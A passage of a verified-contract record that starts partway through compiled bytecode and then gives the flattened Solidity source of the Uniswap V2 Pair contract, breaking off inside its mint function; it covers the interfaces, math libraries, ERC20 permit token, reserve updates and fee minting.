5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
|
// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
